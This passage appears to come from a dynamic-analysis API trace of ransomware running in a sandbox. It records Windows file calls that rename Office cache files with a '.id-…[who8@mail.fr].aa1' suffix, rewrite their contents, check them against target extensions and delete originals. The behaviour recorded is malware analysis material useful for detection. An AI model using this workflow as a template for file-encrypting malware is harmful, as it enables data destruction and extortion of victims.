hFile=0x228, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.478] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.478] ReadFile (in: hFile=0x228, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.556] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0222.556] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.556] ReadFile (in: hFile=0x228, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.597] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.597] WriteFile (in: hFile=0x228, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0222.734] SetEndOfFile (hFile=0x228) returned 1 [0222.734] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f32900 [0222.734] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.734] WriteFile (in: hFile=0x228, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.734] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.734] WriteFile (in: hFile=0x228, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.735] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0222.735] WriteFile (in: hFile=0x228, lpBuffer=0x3f32900*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32900*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0222.737] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f32900 | out: hHeap=0x4f0000) returned 1 [0222.737] CloseHandle (hObject=0x228) returned 1 [0222.737] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0222.737] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.738] lstrlenW (lpString=".doc") returned 4 [0222.738] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0222.738] lstrlenW (lpString=".docx") returned 5 [0222.738] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0222.738] lstrlenW (lpString=".pdf") returned 4 [0222.738] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0222.738] lstrlenW (lpString=".xls") returned 4 [0222.738] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0222.738] lstrlenW (lpString=".xlsx") returned 5 [0222.738] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0222.738] lstrlenW (lpString=".ppt") returned 4 [0222.738] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0222.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.738] lstrlenW (lpString=".zip") returned 4 [0222.738] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0222.738] lstrlenW (lpString=".rar") returned 4 [0222.738] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0222.738] lstrlenW (lpString=".bz2") returned 4 [0222.738] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0222.738] lstrlenW (lpString=".7z") returned 3 [0222.738] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0222.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.738] lstrlenW (lpString=".dbf") returned 4 [0222.738] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0222.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.738] lstrlenW (lpString=".1cd") returned 4 [0222.738] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0222.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.738] lstrlenW (lpString=".jpg") returned 4 [0222.738] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0222.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.739] lstrlenW (lpString=".doc") returned 4 [0222.739] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0222.739] lstrlenW (lpString=".docx") returned 5 [0222.739] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0222.739] lstrlenW (lpString=".pdf") returned 4 [0222.739] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0222.739] lstrlenW (lpString=".xls") returned 4 [0222.739] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0222.739] lstrlenW (lpString=".xlsx") returned 5 [0222.739] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0222.739] lstrlenW (lpString=".ppt") returned 4 [0222.739] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0222.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.739] lstrlenW (lpString=".zip") returned 4 [0222.739] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0222.739] lstrlenW (lpString=".rar") returned 4 [0222.739] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0222.739] lstrlenW (lpString=".bz2") returned 4 [0222.739] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0222.739] lstrlenW (lpString=".7z") returned 3 [0222.739] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0222.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.739] lstrlenW (lpString=".dbf") returned 4 [0222.739] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0222.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.739] lstrlenW (lpString=".1cd") returned 4 [0222.739] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0222.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0222.739] lstrlenW (lpString=".jpg") returned 4 [0222.739] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0222.740] lstrcmpiW (lpString1=".msi", lpString2=".aa1") returned 1 [0222.740] lstrlenW (lpString="Office32WW.msi") returned 14 [0222.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.740] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=1992192) returned 1 [0222.740] CloseHandle (hObject=0x228) returned 1 [0222.740] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0222.740] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.740] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0222.741] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0222.741] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0222.741] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.741] ReadFile (in: hFile=0x228, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.793] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.793] ReadFile (in: hFile=0x228, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0222.856] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0222.856] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0222.856] ReadFile (in: hFile=0x228, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0223.222] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.222] WriteFile (in: hFile=0x228, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0223.899] SetEndOfFile (hFile=0x228) returned 1 [0223.899] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd40a8 [0223.979] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.980] WriteFile (in: hFile=0x228, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.981] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.981] WriteFile (in: hFile=0x228, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.984] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0223.984] WriteFile (in: hFile=0x228, lpBuffer=0x3fd40a8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd40a8*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0223.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd40a8 | out: hHeap=0x4f0000) returned 1 [0223.986] CloseHandle (hObject=0x228) returned 1 [0223.986] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0223.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.987] lstrlenW (lpString=".doc") returned 4 [0223.987] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0223.987] lstrlenW (lpString=".docx") returned 5 [0223.987] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0223.987] lstrlenW (lpString=".pdf") returned 4 [0223.987] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0223.987] lstrlenW (lpString=".xls") returned 4 [0223.987] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0223.987] lstrlenW (lpString=".xlsx") returned 5 [0223.987] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0223.987] lstrlenW (lpString=".ppt") returned 4 [0223.987] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0223.987] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.987] lstrlenW (lpString=".zip") returned 4 [0223.987] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0223.987] lstrlenW (lpString=".rar") returned 4 [0223.987] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0223.988] lstrlenW (lpString=".bz2") returned 4 [0223.988] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0223.988] lstrlenW (lpString=".7z") returned 3 [0223.988] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0223.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.988] lstrlenW (lpString=".dbf") returned 4 [0223.988] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0223.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.988] lstrlenW (lpString=".1cd") returned 4 [0223.988] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0223.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.988] lstrlenW (lpString=".jpg") returned 4 [0223.988] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0223.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.988] lstrlenW (lpString=".doc") returned 4 [0223.988] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0223.988] lstrlenW (lpString=".docx") returned 5 [0223.988] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0223.988] lstrlenW (lpString=".pdf") returned 4 [0223.988] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0223.988] lstrlenW (lpString=".xls") returned 4 [0223.988] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0223.988] lstrlenW (lpString=".xlsx") returned 5 [0223.988] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0223.988] lstrlenW (lpString=".ppt") returned 4 [0223.988] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0223.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.988] lstrlenW (lpString=".zip") returned 4 [0223.989] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0223.989] lstrlenW (lpString=".rar") returned 4 [0223.989] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0223.989] lstrlenW (lpString=".bz2") returned 4 [0223.989] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0223.989] lstrlenW (lpString=".7z") returned 3 [0223.989] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0223.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.989] lstrlenW (lpString=".dbf") returned 4 [0223.989] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0223.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.989] lstrlenW (lpString=".1cd") returned 4 [0223.989] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0223.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0223.989] lstrlenW (lpString=".jpg") returned 4 [0223.989] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0223.989] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0223.989] lstrlenW (lpString="PidGenX.dll") returned 11 [0223.989] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0223.990] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=1463568) returned 1 [0223.990] CloseHandle (hObject=0x228) returned 1 [0223.990] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0223.990] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.990] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0223.990] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.990] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0223.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0223.992] GetLastError () returned 0x0 [0223.992] ReadFile (in: hFile=0x228, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0224.097] WriteFile (in: hFile=0x1dc, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0224.118] ReadFile (in: hFile=0x228, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0x65520, lpOverlapped=0x0) returned 1 [0224.134] WriteFile (in: hFile=0x1dc, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0x65530, lpOverlapped=0x0) returned 1 [0224.145] ReadFile (in: hFile=0x228, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.145] WriteFile (in: hFile=0x1dc, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.145] SetEndOfFile (hFile=0x1dc) returned 1 [0224.381] CloseHandle (hObject=0x1dc) returned 1 [0224.381] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.381] SetEndOfFile (hFile=0x228) returned 1 [0224.385] CloseHandle (hObject=0x228) returned 1 [0224.385] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0224.386] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0224.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.388] lstrlenW (lpString=".doc") returned 4 [0224.388] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0224.388] lstrlenW (lpString=".docx") returned 5 [0224.388] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0224.389] lstrlenW (lpString=".pdf") returned 4 [0224.389] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0224.389] lstrlenW (lpString=".xls") returned 4 [0224.389] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0224.389] lstrlenW (lpString=".xlsx") returned 5 [0224.389] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0224.389] lstrlenW (lpString=".ppt") returned 4 [0224.389] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0224.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.389] lstrlenW (lpString=".zip") returned 4 [0224.389] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0224.389] lstrlenW (lpString=".rar") returned 4 [0224.389] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0224.389] lstrlenW (lpString=".bz2") returned 4 [0224.389] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0224.389] lstrlenW (lpString=".7z") returned 3 [0224.389] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0224.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.390] lstrlenW (lpString=".dbf") returned 4 [0224.390] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0224.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.390] lstrlenW (lpString=".1cd") returned 4 [0224.390] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0224.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.390] lstrlenW (lpString=".jpg") returned 4 [0224.390] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0224.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.390] lstrlenW (lpString=".doc") returned 4 [0224.390] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0224.390] 